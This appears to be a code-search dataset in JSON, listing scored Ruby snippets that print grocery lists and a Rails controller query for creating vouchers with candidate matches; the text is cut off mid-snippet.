[ { "docid": "e90cdd9d656b886626232a244ca59a0c", "score": "0.8488027", "text": "def pretty_list(list)\n\tlist.each { |item_name, item_quantity|\n\t\tputs \"You will need to purchase #{item_quantity} of #{item_name}.\"\n\t}\nend", "title": "" }, { "docid": "1e076958452a777064fc640e9cfee496", "score": "0.8453369", "text": "def pretty_list(list)\n\tlist.each do |item, quantity|\n\t\tputs \"There are #{quantity} #{item} on the grocery list.\"\n\tend\nend", "title": "" }, { "docid": "23e9c440d08e6dd83b6a8fd006cabb18", "score": "0.8361221", "text": "def pretty_list(list)\r\n\tlist.each { |item, quantity| puts \"Item: #{item.capitalize} - Amount: #{quantity}\" }\r\nend", "title": "" }, { "docid": "a78b2a1658f3e9a82c58b3d0e633b3d6", "score": "0.83576596", "text": "def pretty_in_print(list)\n puts \"---------------------------------------\"\n puts \"These are the items we are gonna buy\"\n list.each {|item, qty| puts \"#{qty} pieces of #{item}\" }\nend", "title": "" }, { "docid": "bd03c3322037a2ca64cab77ad544291d", "score": "0.82369375", "text": "def look_pretty(list)\n puts \"Here is your grocery list:\"\n list.each { |item, quantity| puts \"#{item}: #{quantity}\" }\nend", "title": "" }, { "docid": "f6049ec5a45bae01cbdd06fd8b8a4467", "score": "0.8208306", "text": "def pretty_list(list)\n list.each do |item,quantity|\n p \"#{item}! You have #{quantity}.\"\n end\nend", "title": "" }, { "docid": "f6049ec5a45bae01cbdd06fd8b8a4467", "score": "0.8208306", "text": "def pretty_list(list)\n list.each do |item,quantity|\n p \"#{item}! You have #{quantity}.\"\n end\nend", "title": "" }, { "docid": "d4289c64095e55575947b0600181c827", "score": "0.81842697", "text": "def print_pretty (list)\n puts \"Grocery list\".upcase.center(50)\n puts \"-----------------\".center(50)\n list.each do |item,quantity|\n puts item.rjust(25) + \":\" + quantity.to_s.ljust(25) \n end\nend", "title": "" }, { "docid": "d3ad3d850cab09a271bf5ce3ed288f59", "score": "0.8175783", "text": "def pretty_list(list)\r\n\tputs \"Grocery List\".center(30)\r\n\tlist.each do |item, quantity|\r\n\t\tputs \"#{item} \".ljust(20) + \"#{quantity}\".rjust(10)\r\n\tend\r\nend", "title": "" }, { "docid": "b853e7af2ba90e23460722d86c16f6ce", "score": "0.81157476", "text": "def pretty_print(list)\n list.each {|item, quantity| puts \"#{item} : #{quantity}\"}\nend", "title": "" }, { "docid": "b70eeb5839b2da7f374737f99519f36e", "score": "0.8053954", "text": "def pretty_list(list)\n list.each do |grocery_item, qty|\n puts \"#{grocery_item}, quantity: #{qty}\"\n end\nend", "title": "" }, { "docid": "1b201b25125263f48400d68a6bb1902b", "score": "0.8000012", "text": "def prettify_list(list)\n\tlist.each do |item, quantity|\n\t\tp \"You have #{quantity} #{item}\"\n\tend\nend", "title": "" }, { "docid": "612a3ce12676719782f180397f8f7bc3", "score": "0.79940575", "text": "def pretty_list(list)\n list.each {|item, quantity| puts \"You need #{quantity} #{item}\"}\nend", "title": "" }, { "docid": "1385eea34cdde63bc03cd34ef284246d", "score": "0.7991001", "text": "def pretty_list(grocery_list)\n grocery_list.each do |item, quantity|\n puts \"#{quantity} #{item}\"\n end\nend", "title": "" }, { "docid": "1385eea34cdde63bc03cd34ef284246d", "score": "0.7991001", "text": "def pretty_list(grocery_list)\n grocery_list.each do |item, quantity|\n puts \"#{quantity} #{item}\"\n end\nend", "title": "" }, { "docid": "f23a4763225735ec672c754725f794d0", "score": "0.7964371", "text": "def pretty(list)\n list.each {|item, quantity| p \"You need to buy #{quantity} of #{item}.\"}\nend", "title": "" }, { "docid": "1c5441a2ce216e66299819ec5d1f1451", "score": "0.79285675", "text": "def print_pretty(new_list)\n puts \"Grocery List:\"\n new_list.each do |item, amount|\n \n puts \"#{item}: #{amount}\"\n end\nend", "title": "" }, { "docid": "42e7ed32febf368a520597828f5d5933", "score": "0.7882531", "text": "def pretty_list(grocery_list)\n puts \"Shopping List\"\n grocery_list.each do |item, quantity|\n puts \"#{item}: #{quantity}\"\n end\n puts \"Happy Shopping!\"\nend", "title": "" }, { "docid": "cce728e009e24f57d53571be51c80082", "score": "0.78801066", "text": "def prettify(list)\r\n\r\n list.each do |item, quantity|\r\n puts \"There are #{quantity} #{item} in the list.\"\r\n end\r\n\r\nend", "title": "" }, { "docid": "c009f44c45a2e69811840527afe58095", "score": "0.78767735", "text": "def beautify_list(list)\n puts \"Grocery List\"\n puts \" Item: Quantity\"\n list.each do |list_item, item_quantity|\n puts \" #{list_item} : #{item_quantity}\"\n end\nend", "title": "" }, { "docid": "e24fdfb34e8c69d30f78c13d3bc792ed", "score": "0.7805014", "text": "def print_list(list)\n\tlist.each do |iterator|\n\tputs \"#{iterator[:item].split.map(&:capitalize).join(' ')} - QTY #{iterator[:qty]}\"\n\tend\n\nend", "title": "" }, { "docid": "c20edb173cccc9f2dc10bc8c12e58f9f", "score": "0.7767749", "text": "def pretty_list(list)\n # new_list = \"\"\n # list.each { |item, quantity| new_list << \"You want #{quantity} #{item}\\n\" }\n # return new_list\n list.each { |item, quantity| puts \"You want #{quantity} #{item}\\n\" }\nend", "title": "" }, { "docid": "4fccb1f2a304d46fcc515fbe18831821", "score": "0.7765837", "text": "def pretty_list(grocery_list)\r\n puts \"Your Grocery List for next week!\"\r\n grocery_list.each do |item, num|\r\n puts \"#{item} qty #{num}\"\r\n end\r\n \r\nend", "title": "" }, { "docid": "7233270bac961fa84202814eeacd0a85", "score": "0.77284986", "text": "def print_list(list)\r\n puts \"-\"*20\r\n list.each do |item,quantity|\r\n puts \"Item:#{item} quantity:#{quantity}\"\r\n end\r\n puts \"-\"*20\r\n list\r\nend", "title": "" }, { "docid": "4c31f85af5f4dfc104756b23026dae20", "score": "0.7714411", "text": "def print_list(list)\n\tlist.each do |item, quantity|\n\t\tputs \"#{item.capitalize}: #{quantity}\"\n\tend\nend", "title": "" }, { "docid": "054dc6c5bd634d4fe75428b899023f49", "score": "0.77090997", "text": "def print_list\n @list.each { |item, qty| puts \"#{qty} #{item}\" }\n end", "title": "" }, { "docid": "054dc6c5bd634d4fe75428b899023f49", "score": "0.77090997", "text": "def print_list\n @list.each { |item, qty| puts \"#{qty} #{item}\" }\n end", "title": "" }, { "docid": "fa7a78d9258b78f9c5ee6038b48d3585", "score": "0.76642674", "text": "def pretty_list(groceries_list)\n\t# Print a line of text to lead into the list\n\tputs \"Here is your updated grocery list:\"\n\t# for each key and value in the list, print a string \n\t# containing the key and value\n\tgroceries_list.each do |item, quantity|\n\t\tputs \"#{item}: #{quantity}\"\n\tend\nend", "title": "" }, { "docid": "cffd67ea0adf3f04e50f429b7b8683bf", "score": "0.7661936", "text": "def print_list(list)\n\tlist.each do |item,quantity|\n\t\tp \"#{quantity} #{item}\"\n\tend\nend", "title": "" }, { "docid": "e61e6cd115f8f1fb0ba965d8d8b89bb3", "score": "0.7655423", "text": "def print_pretty(grocery_list)\r\n\tgrocery_list.each do |item, quantity| \r\n\t\tputs \"you bought #{quantity} #{item}\"\r\n\tend\r\nend", "title": "" }, { "docid": "8a09b5f93cae6f2bb7efe88e38d8c6de", "score": "0.76340824", "text": "def print_list(list)\n puts \"List: #{list['name']}\"\n print_separator\n\n list[\"items\"].each do |item|\n puts \"\\tItem: \" + item['name'] + \"\\t\\t\\t\" +\n \"quantity: \" + item['quantity'].to_s\n end\n\n print_separator\nend", "title": "" }, { "docid": "8634bb0fc4a2980494c67f8f360172e7", "score": "0.7601406", "text": "def pretty_list(list)\n list.each{|food, quantity| puts \"Please get #{quantity} #{food}.\"}\n puts \"Thanks!\"\nend", "title": "" }, { "docid": "fb5efd597ab95af073b681d24b130a4c", "score": "0.7598839", "text": "def print_list(grocery_list)\n line_width = 30\n puts\n puts ('Grocery List'.center(line_width))\n puts\n puts (\"ITEMS\".ljust(line_width/2)) + \"QTY\".rjust(line_width/2)\n puts (\"------------------------------\").center(line_width)\n grocery_list.each { |item, quantity| \n puts (item.ljust(line_width/2)) + quantity.to_s.rjust(line_width/2)\n puts (\"------------------------------\") }\nend", "title": "" }, { "docid": "9e1998d70e43f67b0cd63ddf7d0908ff", "score": "0.75612557", "text": "def print_item_list(item_list)\r\n item_list.each { |item, qty| puts \"- #{item} : #{qty}\" }\r\nend", "title": "" }, { "docid": "d72139038e0f51b35d3b83b6b432c5e8", "score": "0.75333154", "text": "def print_list(list)\n puts \"Shopping List\"\n list.each { |item, quantity| puts \"You need #{quantity} #{item}(s).\" }\nend", "title": "" }, { "docid": "02c4bc6017f71d3feb89d9ba9e2654ae", "score": "0.7531874", "text": "def print_list(list)\n\tputs \"----- Shopping List -----\"\n\tlist.each do |item, quantity|\n\t\tputs \"#{item}: #{quantity}\"\n\tend\n\treturn list\nend", "title": "" }, { "docid": "c2e4c6671279d9edab15e8c05307568c", "score": "0.7526628", "text": "def print_list(list)\r\n# input: completed list\r\n# steps:\r\n # iterate over list and print formatted list\r\n puts \"Your Grocery List\"\r\n list.each do |item, quantity|\r\n puts \"#{item}, qty: #{quantity}\"\r\n end\r\n # format: each item with its own line\r\n # \"item - quantity\"\r\n# output: implicit return of list\r\nend", "title": "" }, { "docid": "40fea223f65d07f9a5a39adc5e736d2e", "score": "0.751788", "text": "def print_list(list)\n\t# input: list\n\t# output: none\n\n\t# print header\n\tputs \"Grocery List\\n------------\"\n\t# iterate over list\n\tfor item, qty in list do\n\t\t# print each item to screen ex: \" - Lemonade, 2 liters\"\n\t\tputs \" - #{item}, #{qty}\"\n\tend\n\nend", "title": "" }, { "docid": "c5ddb145f8e7116131f75b12027d2b66", "score": "0.75141615", "text": "def print_list(list)\n\tlist.each do |item, quantity| puts \"#{item}: #{quantity}\"\n\t\t\n\tend\nend", "title": "" }, { "docid": "e4e4004212be6a6f6628e3240b898e18", "score": "0.750391", "text": "def pretty_list(list)\n puts \"Grocery List:\"\n list.each do |key, value|\n puts \"#{value} #{key}(s)\"\n end\n \nend", "title": "" }, { "docid": "cd812aa7dc898d80c7f07e55fe8d1949", "score": "0.7502852", "text": "def print_list(list)\r\n puts \"_-\" *25 + \"\\n\\n\"\r\n puts \"Here is your Grocery List: \\n\\n\"\r\n list.each do |item, quantity|\r\n puts \"\\tItem: #{item} \\tAmount: #{quantity}\"\r\n end\r\n puts \"_-\" *25\r\nend", "title": "" }, { "docid": "5098396d870370fbf150f19c1e5cd9ea", "score": "0.74961966", "text": "def print_list\n $list.each {|list_item| puts \"#{list_item[:quantity]} #{list_item[:item]}\"}\nend", "title": "" }, { "docid": "43d53cde5e87e19331e821b464ffcf6c", "score": "0.74959224", "text": "def print_list(list)\n\tputs \"\\nHere is the list:\"\n\tlist.each do |item, quantity|\n\t\tputs \"#{item}: #{quantity}\"\n\tend\nend", "title": "" }, { "docid": "43d53cde5e87e19331e821b464ffcf6c", "score": "0.74959224", "text": "def print_list(list)\n\tputs \"\\nHere is the list:\"\n\tlist.each do |item, quantity|\n\t\tputs \"#{item}: #{quantity}\"\n\tend\nend", "title": "" }, { "docid": "ac740021d6aa2f88256ecb5bba35917b", "score": "0.74548817", "text": "def format_list(items); end", "title": "" }, { "docid": "1a549c79d15bcb08c2437740c672831d", "score": "0.74477166", "text": "def print_list(title,list)\n# steps:\n # print title of list (will ask user for this input)\n puts \"**********************\"\n puts \" #{title.upcase}:\"\n puts \"**********************\"\n # print headers of item and quantity\n puts \" # ITEM\"\n puts \"----------------------\"\n # print each item and it's quantity, bulleted if possible\n list.each {|item,quantity| puts \" #{quantity} #{item}\"}\n puts \"**********************\"\n # print today's date\n date = Time.new\n puts \" Made on: #{date.month}/#{date.day}/#{date.year}\"\nend", "title": "" }, { "docid": "5a9a6795c8e0ff79b69ec964caf749f2", "score": "0.7443944", "text": "def print_list(grocery_list)\n puts \"*\" * 40 + \"Grocery List\" + \"*\" * 40 \n grocery_list.each do |item, quantity|\n puts \"#{item.capitalize}\".ljust(30) + \"#{quantity}\".rjust(10)\n\n end\n end", "title": "" }, { "docid": "65dfddcc6ad41a6c3b192dcf6a346a3a", "score": "0.744172", "text": "def print_list(list)\n\tputs \"This is what you need to buy:\"\n\tputs \"--------------------\"\n\tlist.each do |item, quantity|\n\t\tputs \" #{item} : #{quantity}\"\n\tend\n\tputs \"--------------------\"\nend", "title": "" }, { "docid": "5e53f45c524cc94b12daca18a0a894e5", "score": "0.74357706", "text": "def print_list(list)\n\tlist.each do |item, quantity|\n\t\tputs \"#{item}, amount: #{quantity}\"\n\tend\nend", "title": "" }, { "docid": "f76dc75b66db51c8cf518dad3cda8ac9", "score": "0.74206203", "text": "def print_list(hash)\n width= 50\n puts \"Shopping List\".center(width)\n puts \"\".rjust(50,\"-\")\n print \"Item\".ljust(width/2)\n print \"-\"\n puts \"Quantity\".rjust(width/2)\n puts \"\".rjust(50,\"-\")\n hash.each do |item, quantity|\n puts \"#{item.ljust(width/2)}-#{quantity.to_s.rjust(width/2)}\"\n end\nend", "title": "" }, { "docid": "3f882304c352eefc61408c48b2dffdb4", "score": "0.7410035", "text": "def print_list(list)\n\tlist.each do |item, quantity|\n\t\tputs \"We need #{quantity} #{item}\"\n\tend\nend", "title": "" }, { "docid": "3843e3796520681f6fdf819a9c6aaf51", "score": "0.74091893", "text": "def print_list(shopping_list)\n puts shopping_list.each {|item, quantity| puts \"#{item}: #{quantity}\"}\nend", "title": "" }, { "docid": "da3b2feb24dc210f50001357fb257eb4", "score": "0.7405565", "text": "def pretty_list(hash)\r\n puts \"Grocery List:\"\r\n puts \" \"\r\n hash.each do |item_name, quantity|\r\n puts \"#{item_name}: #{quantity}\"\r\n end\r\nend", "title": "" }, { "docid": "56c02fdbf3582807d337b57286d33a9e", "score": "0.74043936", "text": "def print_list(list)\n puts \"This week's grocery list:\"\n list.each do |item, quantity|\n puts \"#{item}: #{quantity}\"\n end\nend", "title": "" }, { "docid": "64d85406c984d1e83814a5656a0014f0", "score": "0.74020886", "text": "def print_list(list)\n puts \"Grocery List\"\n list.each { |item, qty| puts \"#{item}: #{qty}\" }\nend", "title": "" }, { "docid": "4dcb16f3f717805efd6d06090e7ce503", "score": "0.7398121", "text": "def print_list(item_list)\r\n\t# steps: iterate through each of hash element\r\n\t# print the header\r\n puts \"=========================\"\r\n\tputs \"== Grocery List So Far ==\"\r\n\tputs \"=========================\"\r\n\titem_list.each do |item,quantity|\r\n\t\t# display each element key and the value to make it look pretty\r\n\r\n\t\tputs item.ljust(20)+quantity.to_s\r\n\tend\r\nend", "title": "" }, { "docid": "fafa5e130f82e85d9888029eaa790c0d", "score": "0.73935705", "text": "def print_pretty(list)\n list.each { |item, value| puts \"#{item} #{value}\" }\nend", "title": "" }, { "docid": "b8c0c29b4522bf1270e30f6170f6e539", "score": "0.7379529", "text": "def print_list(list)\r\n\r\n\tputs 'Shopping List'\r\n\r\n\tlist.each {|item, quantity| puts \"#{item}: #{quantity}\"}\r\n\t\r\n\tputs \"\"\r\n\r\nend", "title": "" }, { "docid": "40361617912b73eb8ac2fc0fcd174289", "score": "0.7373625", "text": "def print_list(list)\n\tputs \"Grocery List\"\n\tlist.each{|item, quantity|\n\t\tputs \"#{item} : #{quantity}\"\n\t}\nend", "title": "" }, { "docid": "325a9b31f51ca308d0492b4b859b3c28", "score": "0.73733276", "text": "def print_list(list)\r\n puts \"Your current grocery list\"\r\n puts \"---------------------------\"\r\n list.each do |item, quantity|\r\n puts \"#{item}: #{quantity}\"\r\n end \r\nend", "title": "" }, { "docid": "d9e897a0f7b5072d56d72a29118a88c6", "score": "0.7370754", "text": "def print_list(list)\r\n list.each { |item, quantity| puts \"#{item}: #{quantity}\" }\r\nend", "title": "" }, { "docid": "f896838ef62b2e0e4a2b647535abd2bd", "score": "0.73618275", "text": "def print_list(list)\n list.each do |item, quantity|\n p \"#{item}: #{quantity}\"\n end\nend", "title": "" }, { "docid": "8ee17c8591a7402347a3d0605bea4e39", "score": "0.73570985", "text": "def print(list)\n# steps: \n\t# make a new string\n\tstring = \"This is the shopping list: \\n\"\n\t# iterate through the list\n\tlist.each do |item, quantity|\n\t\t# add the items and quantities to the string and end with a newline\n\t\tstring = string + \"#{item}: #{quantity} \\n\"\n\tend\n# output: the string\n\tputs string\nend", "title": "" }, { "docid": "5a0c9c883e021d73f263033faa81f4e1", "score": "0.7355662", "text": "def print_list(list, item_name, quantity)\n list.each do |item|\n puts \"We need #{quantity} #{item_name}\"\n end\nend", "title": "" }, { "docid": "e3d57014e1e41a1ed9af4af513a5cbb0", "score": "0.73536307", "text": "def print_list(list)\n list.each { |item, quantity| puts \"#{item}: #{quantity}\" }\nend", "title": "" }, { "docid": "87a032a6744819bb0a40b77d6243a15b", "score": "0.7341092", "text": "def print_list(list)\n list.each do |item, quant| \n puts \"Item: #{item}, Quantity: #{quant}\"\n end\nend", "title": "" }, { "docid": "b9e33cffffb08d9d1224c78557244543", "score": "0.73385847", "text": "def print_list(list)\r\n puts \"Here is your current list: \"\r\n list.each do |item, quantity|\r\n puts \"#{item}: #{quantity}\"\r\n end\r\nend", "title": "" }, { "docid": "39c994f27650168d6c495ef9c57b8ddb", "score": "0.73281354", "text": "def print_list(shopping_list)\n puts \"SHOPPING LIST:\"\n shopping_list.each do |item, qty|\n puts \"-#{item} ---> #{qty}\"\n end\n\nend", "title": "" }, { "docid": "9c6b0caa4aff71192c277bcad1326658", "score": "0.73255396", "text": "def print_list(list)\n puts \"Here's your grocery list:\"\n list.each { |item, quantity| puts \"#{item}: #{quantity}\" }\nend", "title": "" }, { "docid": "ab13969fdc01cfd865cc1d37f330d718", "score": "0.73039895", "text": "def print_list(input_list)\n input_list.each {|item,quantity|\n puts \"#{item} :#{quantity}\"\n }\nend", "title": "" }, { "docid": "1d14e5d40e5bdf8d4681bcea7fffacd3", "score": "0.7298899", "text": "def print_list(list)\n\tlist.each do |item, quantity|\n\t\tputs \"There are #{quantity} #{item} on the grocery list!!\"\n\tend\nend", "title": "" }, { "docid": "3ea7deadc948d3909842dd2805655c6f", "score": "0.7288745", "text": "def print_list(list)\r\n\tlist.each {|item, quantity| puts \"#{item}: #{quantity}\"}\r\nend", "title": "" }, { "docid": "0759cc98da52986601300db9b9f2de42", "score": "0.7282582", "text": "def pretty_up(list)\n puts \"\\nHere is your grocery list: \"\n list.each do |key, value|\n puts value.to_s + ' ' + key.to_s\n end\nend", "title": "" }, { "docid": "053512cdb4e88cd78d68fe4b674e4323", "score": "0.7277244", "text": "def print_list(list)\n grocery_list = \"Grocery List\" + \"\\n\"\n\n list.each do |item, qty|\n grocery_list += \"#{item} : #{qty}\" + \"\\n\"\n end\n\n puts grocery_list\nend", "title": "" }, { "docid": "99efa7ac009601ef74f716493639aba5", "score": "0.723985", "text": "def printlist(list)\r\n# input: shopping list\r\n# steps:\r\nlist.each {|item, quantity| puts \"Please buy #{quantity} #{item}\"}\r\n # Print each item on the shopping list in a readable fashion\r\nend", "title": "" }, { "docid": "610a431ced54941d5c510b7d66c7dec0", "score": "0.72382575", "text": "def print_list(list)\n\tlist.each do |item, qty|\n\t\tputs \"#{item} = #{qty}\"\n\tend\nend", "title": "" }, { "docid": "fb32dc0c441ba7837466e3d7f9407c1e", "score": "0.723335", "text": "def print_list(list)\n list.each {|item,quantity| puts \"#{item}: #{quantity}\"}\nend", "title": "" }, { "docid": "a269257c0061bd6668f8edca5fc5a8cf", "score": "0.722961", "text": "def print_list(my_list)\r\n# input: \r\n \r\n# steps:\r\n# print to screen: iterate through hash item - quantity\r\n puts '------'\r\n puts \"Grocery list:\"\r\n my_list.each do |item, qty|\r\n puts \"#{item} - #{qty}\"\r\n end\r\n puts '-------'\r\n# output: each k,v pair printed surrounded by dashes\r\nend", "title": "" }, { "docid": "29260e83c69de61223a776e48fff9fae", "score": "0.7228257", "text": "def print_list(list_name)\n# for each array element, print the item name and quantity\n list_name.each { |list_item| puts \"#{list_item[:item_name]}\" + ': ' + \"#{list_item[:quantity]}\"}\n# Wish the shopper good luck.\n puts \"Happy Shopping!\"\n list_name\nend", "title": "" }, { "docid": "a601c8015d5f0cd4acff9ebadb748a2c", "score": "0.7212417", "text": "def print_list(list)\n p \"Shopping List:\"\n list.each do |k, v|\n p \"Item: #{k}, Qauntity: #{v}\"\n end\nend", "title": "" }, { "docid": "645f458abcde20bac4d81afdd5eab98c", "score": "0.7200002", "text": "def print(list)\n puts \"***This is your grocery list:***\"\n list.each do |item,quantity|\n puts \"-#{quantity} #{item}\"\n end\nend", "title": "" }, { "docid": "82561224e2a2df6aee06734a56aff150", "score": "0.7195852", "text": "def print_list(list)\n list.each do |item, quantity|\n puts \"#{item} x #{quantity}\"\n end\nend", "title": "" }, { "docid": "9dff079c03ef18320553c3898f6b6878", "score": "0.7194676", "text": "def print_list(list)\n list.each do |item, quantity| puts \"#{item}: #{quantity}\"\n\n end\nend", "title": "" }, { "docid": "4695cfe897b7573f415fafcb0da4d458", "score": "0.7188504", "text": "def print_list(list)\r\n puts \"GROCERY LIST\"\r\n list.each do | item, quantity |\r\n puts \"#{item.capitalize}: #{quantity}\"\r\n end\r\nend", "title": "" }, { "docid": "b07e4cd52e7f4171f5ff2b3603cc4192", "score": "0.71618795", "text": "def print_out(list)\n\tlist.each {|item, qty| puts \"#{item}; #{qty}\"}\nend", "title": "" }, { "docid": "8d9e18aede722a5765c6d435e0aff1cc", "score": "0.7151075", "text": "def print_list(glist)\n\tputs \"Grocery Shopping list\"\n\tglist.each do |item, count|\n\t\tputs \"#{item}: \".ljust(20) + \" #{count}\".rjust(20)\n\tend\nend", "title": "" }, { "docid": "f57e698744c5e0ceabd1607f03105987", "score": "0.71306473", "text": "def print_list(shopping_list)\n puts \"This is your shopping list\"\n shopping_list.each{|k,v| puts \"Item: #{k} Quantity: #{v}\" }\nend", "title": "" }, { "docid": "cf854c7501d9fb7f2aa143c18731cdf0", "score": "0.7112387", "text": "def list_print(hash_items)\n printf(\"%20s%20s\\n\", '---------------','---------------')\n printf(\"%20s%20s\\n\", 'Item','Quantity')\n printf(\"%20s%20s\\n\", '---------------','---------------')\n\n hash_items.each do |x,y|\n printf(\"%20s%20s\\n\", x.upcase, y)\n end\n\nend", "title": "" }, { "docid": "67ff85c9f7c30351b8c0b64ef728780e", "score": "0.71055233", "text": "def list_formatter(list)\n\tlist.each do |item, quanity|\n\t\tputs \"we need #{quanity} of #{item}\"\n\tend\nend", "title": "" }, { "docid": "b025fd9678985895fad30866efdea190", "score": "0.7101619", "text": "def format_list(list)\n puts \"Your grocery list:\"\n list.each do |key, value|\n puts \"#{key}: #{value}\"\n end\nend", "title": "" }, { "docid": "2a41d90f63396cbdb36e4a0c71d7a129", "score": "0.70935345", "text": "def print_list(grocery_list)\n puts \" GROCERY LIST \".center(50, \"=\")\n puts\n grocery_list.each { |item,qty| puts \"#{item} qty: #{qty}\" }\n puts\n puts \"=\".center(50, \"=\")\nend", "title": "" }, { "docid": "3e0f250b9d9fba9e0083016ad377d503", "score": "0.7089434", "text": "def print_list(grocery_list)\n grocery_list.each do |item,quantity|\n puts \" #{item} #{quantity}\"\n end\n end", "title": "" }, { "docid": "bee2b35e4f4cfed1288ff7c7f7dba276", "score": "0.7072664", "text": "def printing_list(list)\r\n\r\n list.each do |item, quantity|\r\n puts \"You need #{quantity} #{item}\"\r\n end\r\nend", "title": "" }, { "docid": "7a4d5812edd21a0dda9ec0ad79d1b245", "score": "0.7062231", "text": "def print_list (list)\n puts \" \"\n puts \"On your list!\"\n list.each do | food, quantity|\n puts \"You need to buy #{quantity}: #{food}\"\n puts\"-----------------------------\"\n end\nend", "title": "" }, { "docid": "88b25ce68a61d267c34a0b6faa52ceb5", "score": "0.70419997", "text": "def printout (list)\n\tlist.each { |item, quantity| puts \"#{item} is #{quantity} \" } \nend", "title": "" }, { "docid": "daa3971ac0d5654c403b234a6a4077da", "score": "0.7036755", "text": "def print_list(grocery_list)\n puts \" Grocery List\"\n grocery_list.each do |item, quantity|\n puts \"#{item.capitalize} --> #{quantity}\"\n end\nend", "title": "" }, { "docid": "daa3971ac0d5654c403b234a6a4077da", "score": "0.7036755", "text": "def print_list(grocery_list)\n puts \" Grocery List\"\n grocery_list.each do |item, quantity|\n puts \"#{item.capitalize} --> #{quantity}\"\n end\nend", "title": "" }, { "docid": "45762ee0d30d55bfa63077cec0be8092", "score": "0.703296", "text": "def print_list(grocery_list)\n\tgrocery_list.each do |item_name, quantity|\n\t\tputs \"#{item_name} => #{quantity}\"\n\tend\nend", "title": "" }, { "docid": "888cb02e5fce79c460064783a403db85", "score": "0.7027324", "text": "def print_list()\n $list_hash.each do |current_item, quantity|\n p \"#{current_item.strip}: #{quantity.to_i}\"\n end\nend", "title": "" }, { "docid": "783d3f2ecaccd4549b1d16bf6e40f68c", "score": "0.7018149", "text": "def printed_list(grocery_list)\n grocery_list.each {|item, quantity|\n puts \"#{item}: #{quantity}\" }\nend", "title": "" } ]
d027468a031e04012709668cce2e45b4
POST /vouchers POST /vouchers.json
[ { "docid": "b1f6538a6c6691aaa933986dd32770a8", "score": "0.53603965", "text": "def create\n @voucher = current_user.vouchers.build(voucher_params)\n @voucher.comments.each do |comment| \n comment.user_id = current_user.id\n end\n respond_to do |format|\n if @voucher.save\n flash[:notice] = \"Voucher #\" + @voucher.id.to_s + \" was successfully created.\"\n format.html\n format.json { render action: 'show', status: :created, location: @voucher }\n format.js {render js: %(window.location.href='#{voucher_path @voucher}')}\n else\n format.html { render action: 'new' }\n format.js \n format.json { render json: @voucher.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" } ]
[ { "docid": "0a464be010a76cafcc3c4f79848cc89e", "score": "0.6584073", "text": "def build_vouchers(options)\n return unless options \n\n self.vouchers.build(options)\n end", "title": "" }, { "docid": "ca0619b526e427648447252f81eb1282", "score": "0.58828604", "text": "def voters\n @voterInvite = VoterInvite.new\n\n respond_to do |format|\n format.json { render json: @company.voter_invite }\n format.html { @voterInvite }\n end\n end", "title": "" }, { "docid": "e5edba4058ab5c7f22ef0d69aa99cc7a", "score": "0.5776567", "text": "def create_voucher!(voucher)\n params = {\n \"clientId\": voucher.client_id,\n \"creatingBranchId\": voucher.creating_branch_id,\n \"expiryDate\": \"2020-10-28T11:27:49.048Z\",\n \"issueDate\": \"2020-09-28T11:27:49.048Z\",\n \"originalBalance\": voucher.original_balance,\n \"serialNumber\": voucher.serial_number\n }\n #self.class.post('/voucher', body: params)\n {\n clientId: voucher.client_id,\n voucherId: SecureRandom.uuid\n }\n end", "title": "" }, { "docid": "d2fe10e4603925fb3ff9c1d77b3de632", "score": "0.57193756", "text": "def do_post(host, port)\n\tbody = get_viking_data.to_json\n\theaders = { \"Content-Type\" => \"application/x-www-form-urlencoded\",\n\t \"Content-Length\" => body.length }\n\tmake_request(host, port, :post, '/viking', headers, body)\nend", "title": "" }, { "docid": "e06005ced3e9a85f35119196255585a8", "score": "0.5648654", "text": "def index\n @vouchers = Voucher.all\n end", "title": "" }, { "docid": "e06005ced3e9a85f35119196255585a8", "score": "0.5648654", "text": "def index\n @vouchers = Voucher.all\n end", "title": "" }, { "docid": "88c139488314ff083bb879dc592cda7f", "score": "0.56364346", "text": "def create\n @voucher = Voucher.new(params[:voucher])\n\n respond_to do |format|\n if @voucher.save\n format.html { redirect_to @voucher, notice: 'Voucher was successfully created.' }\n format.json { render json: @voucher, status: :created, location: @voucher }\n else\n format.html { render action: \"new\" }\n format.json { render json: @voucher.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "6ed887bfecfbe54b9acbd38273078c7e", "score": "0.56210876", "text": "def create\n @vaper = Vaper.new(vaper_params)\n\n respond_to do |format|\n if @vaper.save\n format.html { redirect_to @vaper, notice: \"Vaper was successfully created.\" }\n format.json { render :show, status: :created, location: @vaper }\n else\n format.html { render :new, status: :unprocessable_entity }\n format.json { render json: @vaper.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "873996419a7474a24e10ab4894026d21", "score": "0.5613966", "text": "def vouchers\n @page_title = _('Vouchers')\n\n @default = {:page => 1, :s_usable => \"all\", :s_active => \"all\", :s_number => \"\", :s_tag => \"\", :s_credit_min => \"\", :s_credit_max => \"\", :s_curr => \"\", :s_use_date => \"\", :s_active_till => \"\"}\n session[:vouchers_vouchers_options] ? @options = session[:vouchers_vouchers_options] : @options = @default\n\n # search\n\n if params[:clean]\n @options = @default\n else\n @options[:page] = params[:page].to_i if params[:page]\n @options[:s_usable] = params[:s_usable].to_s if params[:s_usable]\n @options[:s_usable] = params[:s_usable].to_s if params[:s_usable]\n @options[:s_active] = params[:s_active].to_s if params[:s_active]\n @options[:s_number] = params[:s_number].to_s if params[:s_number]\n @options[:s_tag] = params[:s_tag].to_s if params[:s_tag]\n @options[:s_credit_min] = params[:s_credit_min].to_s if params[:s_credit_min]\n @options[:s_credit_max] = params[:s_credit_max].to_s if params[:s_credit_max]\n @options[:s_curr] = params[:s_curr].to_s if params[:s_curr]\n @options[:s_use_date] = params[:s_use_date].to_s if params[:s_use_date]\n @options[:s_active_till] = params[:s_active_till].to_s if params[:s_active_till]\n end\n\n cond = ['vouchers.id > 0']\n var = []\n\n if @options[:s_active].to_s.downcase != 'all'\n if @options[:s_active].to_s == 'yes'\n cond << \"vouchers.active = 1\"\n else\n cond << \"vouchers.active = 0\"\n end\n end\n\n if @options[:s_usable].to_s.downcase != 'all'\n is_active = \"(NOT ISNULL(use_date) OR active_till < ?)\"\n\n if @options[:s_usable].to_s == 'yes'\n cond << \"(NOT (#{is_active}) AND active = 1)\"\n else\n cond << \"NOT (NOT (#{is_active}) AND active = 1)\"\n end\n var << current_user.user_time(Time.now)\n end\n\n [\"number\", \"tag\"].each { |col|\n add_contition_and_param(@options[\"s_#{col}\".to_sym], \"%\"+@options[\"s_#{col}\".intern].to_s+\"%\", \"vouchers.#{col} LIKE ?\", cond, var) }\n\n [\"use_date\", 